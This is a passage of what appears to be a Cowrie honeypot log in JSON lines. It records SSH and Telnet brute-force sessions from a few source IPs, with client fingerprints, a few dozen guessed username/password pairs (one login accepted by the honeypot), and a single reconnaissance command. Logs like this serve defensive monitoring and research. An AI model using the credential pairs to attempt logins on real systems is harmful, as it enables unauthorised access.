{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:42.981234Z","src_ip":"192.109.200.237","session":"6c4f21303288","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:43.227184Z","src_ip":"192.109.200.237","session":"6c4f21303288","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:43.438653Z","src_ip":"192.109.200.237","session":"6c4f21303288","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:43.441999Z","src_ip":"192.109.200.237","session":"6c4f21303288","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:43.527310Z","src_ip":"192.109.200.237","session":"6c4f21303288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:43.532526Z","src_ip":"192.109.200.237","session":"6c4f21303288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59582,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc025799d458","protocol":"ssh","message":"New connection: 192.109.200.237:59582 (159.203.135.109:22) [session: cc025799d458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:46.285208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:46.288692Z","src_ip":"192.109.200.237","session":"cc025799d458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:46.475115Z","src_ip":"192.109.200.237","session":"cc025799d458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.33593225479126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:46.483233Z","src_ip":"50.6.8.71","session":"50460eeec53f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:46.726239Z","src_ip":"192.109.200.237","session":"cc025799d458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.64773964881897,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:46.939814Z","src_ip":"50.6.8.71","session":"5b63cbffa57c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:47.810867Z","src_ip":"192.109.200.237","session":"cc025799d458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59612,"dst_ip":"159.203.135.109","dst_port":22,"session":"95f65f991f5e","protocol":"ssh","message":"New connection: 192.109.200.237:59612 (159.203.135.109:22) [session: 95f65f991f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:49.782407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:49.786615Z","src_ip":"192.109.200.237","session":"95f65f991f5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:49.868180Z","src_ip":"192.109.200.237","session":"95f65f991f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:50.114575Z","src_ip":"192.109.200.237","session":"95f65f991f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:51.347879Z","src_ip":"192.109.200.237","session":"95f65f991f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":38272,"dst_ip":"10.17.0.5","dst_port":22,"session":"34d0c75528ca","protocol":"ssh","message":"New connection: 103.82.20.28:38272 (10.17.0.5:22) [session: 34d0c75528ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:52.815854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:52.820412Z","src_ip":"103.82.20.28","session":"34d0c75528ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:53.084724Z","src_ip":"103.82.20.28","session":"34d0c75528ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57658,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d7041d553e3","protocol":"ssh","message":"New connection: 192.109.200.237:57658 (159.203.135.109:22) [session: 0d7041d553e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:53.252005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:53.259726Z","src_ip":"192.109.200.237","session":"0d7041d553e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:53.342405Z","src_ip":"192.109.200.237","session":"0d7041d553e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:53.605353Z","src_ip":"192.109.200.237","session":"0d7041d553e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:53.877443Z","src_ip":"103.82.20.28","session":"34d0c75528ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:54.697002Z","src_ip":"192.109.200.237","session":"0d7041d553e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:55.144324Z","src_ip":"103.82.20.28","session":"34d0c75528ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57662,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4c113a3a3c5","protocol":"ssh","message":"New connection: 192.109.200.237:57662 (159.203.135.109:22) [session: a4c113a3a3c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:56.912606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:56.917532Z","src_ip":"192.109.200.237","session":"a4c113a3a3c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:56.999617Z","src_ip":"192.109.200.237","session":"a4c113a3a3c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:57.248180Z","src_ip":"192.109.200.237","session":"a4c113a3a3c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:58.397393Z","src_ip":"192.109.200.237","session":"a4c113a3a3c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54344,"dst_ip":"10.17.0.5","dst_port":23,"session":"893470474d60","protocol":"telnet","message":"New connection: 50.6.8.71:54344 (10.17.0.5:23) [session: 893470474d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:58.605675Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49712,"dst_ip":"10.17.0.5","dst_port":23,"session":"75252d0765e4","protocol":"telnet","message":"New connection: 50.6.8.71:49712 (10.17.0.5:23) [session: 75252d0765e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:59.628129Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40558,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e9e844d918e","protocol":"ssh","message":"New connection: 192.109.200.237:40558 (159.203.135.109:22) [session: 9e9e844d918e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:00.414134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:00.420481Z","src_ip":"192.109.200.237","session":"9e9e844d918e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:00.578079Z","src_ip":"192.109.200.237","session":"9e9e844d918e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:00.913094Z","src_ip":"192.109.200.237","session":"9e9e844d918e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:01.999221Z","src_ip":"192.109.200.237","session":"9e9e844d918e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.866308450698853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:02.736241Z","src_ip":"50.6.8.71","session":"b91a23a81851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.224.144","src_port":56278,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2a703bbeb49","protocol":"ssh","message":"New connection: 20.65.224.144:56278 (159.203.135.109:22) [session: c2a703bbeb49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:03.759451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:03.768791Z","src_ip":"20.65.224.144","session":"c2a703bbeb49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 